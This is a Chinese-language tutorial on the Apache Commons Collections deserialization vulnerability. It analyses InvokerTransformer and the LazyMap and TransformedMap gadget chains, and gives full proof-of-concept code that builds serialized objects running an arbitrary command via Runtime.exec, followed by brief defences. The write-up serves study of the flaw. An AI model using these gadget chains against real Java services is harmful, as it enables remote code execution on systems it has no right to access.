Java反序列化漏洞-玄铁重剑之CommonsCollection(上)
字数 775 2025-08-29 08:32:00
Java反序列化漏洞分析:Commons Collections篇(上)
前言
Commons Collections是Java中广泛使用的集合处理框架,许多商业和开源项目都依赖它。然而,正是这个强大的库成为了Java反序列化漏洞的重要来源,影响了WebLogic、WebSphere、JBoss、Jenkins、OpenNMS等众多组件和容器。
核心漏洞点:InvokerTransformer
InvokerTransformer类是Commons Collections反序列化漏洞的核心,其transform方法实现了危险的反射调用:
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
利用示例
- 正常使用示例:
InvokerTransformer invokerTransformer = new InvokerTransformer(
"append",
new Class[]{String.class},
new Object[]{new String("sb")}
);
Object result = invokerTransformer.transform(new StringBuffer("who am i"));
System.out.printf(result.toString());
- 命令执行示例:
// Mac下
String[] cmds = new String[]{"open", "/Applications/Calculator.app/"};
InvokerTransformer invokerTransformer1 = new InvokerTransformer(
"exec",
new Class[]{String[].class},
new Object[]{cmds}
);
invokerTransformer1.transform(Runtime.getRuntime());
// Windows下
String[] cmds = new String[]{"calc.exe"};
InvokerTransformer invokerTransformer1 = new InvokerTransformer(
"exec",
new Class[]{String[].class},
new Object[]{cmds}
);
invokerTransformer1.transform(Runtime.getRuntime());
- 使用ProcessBuilder:
ProcessBuilder processBuilder = new ProcessBuilder("open", "/Applications/Calculator.app/");
InvokerTransformer invokerTransformer1 = new InvokerTransformer(
"start",
new Class[]{},
new Object[]{}
);
invokerTransformer1.transform(processBuilder);
反序列化利用原理
Java反序列化的一个关键特性是:不管经过多少层封装,最终都会按照被封装的倒序执行readObject方法。这意味着我们可以在readObject中构造恶意代码。
简单示例
public class A implements Serializable {
private void readObject(java.io.ObjectInputStream in)
throws IOException, ClassNotFoundException {
try {
System.out.printf("whoami");
new ProcessBuilder("calc.exe").start();
} catch (IOException e) {
e.printStackTrace();
}
}
}
实际漏洞利用链分析
情况1:通过LazyMap.get()
调用链:
AnnotationInvocationHandler.readObject()
→ AnnotationInvocationHandler.invoke()
→ LazyMap.get()
→ InvokerTransformer.transform()
关键点:
- 使用
ChainedTransformer串联多个Transformer:
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)
};
- 完整POC:
final String[] execArgs = new String[] { command };
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1)});
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}),
new InvokerTransformer("exec",
new Class[] {String.class},
execArgs),
new ConstantTransformer(1)
};
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
return handler;
情况2:通过TransformedMap.checkSetValue()
调用链:
InvokerTransformer.transform()
→ TransformedMap.checkSetValue()
→ AbstractInputCheckedMapDecorator.setValue()
→ AnnotationInvocationHandler.readObject()
关键点:
-
需要满足两个条件:
memberValues不能为空memberType不能为空
-
完整POC:
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[]{command};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{ "getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{ Object.class, Object[].class},
new Object[]{ null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{ String.class},
execArgs),
new ConstantTransformer(1)
};
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{new ConstantTransformer(1)});
Map map = new HashMap();
Map transformedmap = TransformedMap.decorate(map, null, transformerChain);
transformedmap.put("value", "xx");
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
InvocationHandler handler = (InvocationHandler)
getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler")
.newInstance(Retention.class, transformedmap);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
return handler;
}
防御措施
- 升级Commons Collections到安全版本
- 限制反序列化的类
- 使用安全的序列化/反序列化库
- 实施输入验证和过滤
总结
Commons Collections反序列化漏洞的核心在于InvokerTransformer类的滥用,通过精心构造的调用链可以实现任意代码执行。理解这些漏洞原理对于开发安全的Java应用至关重要。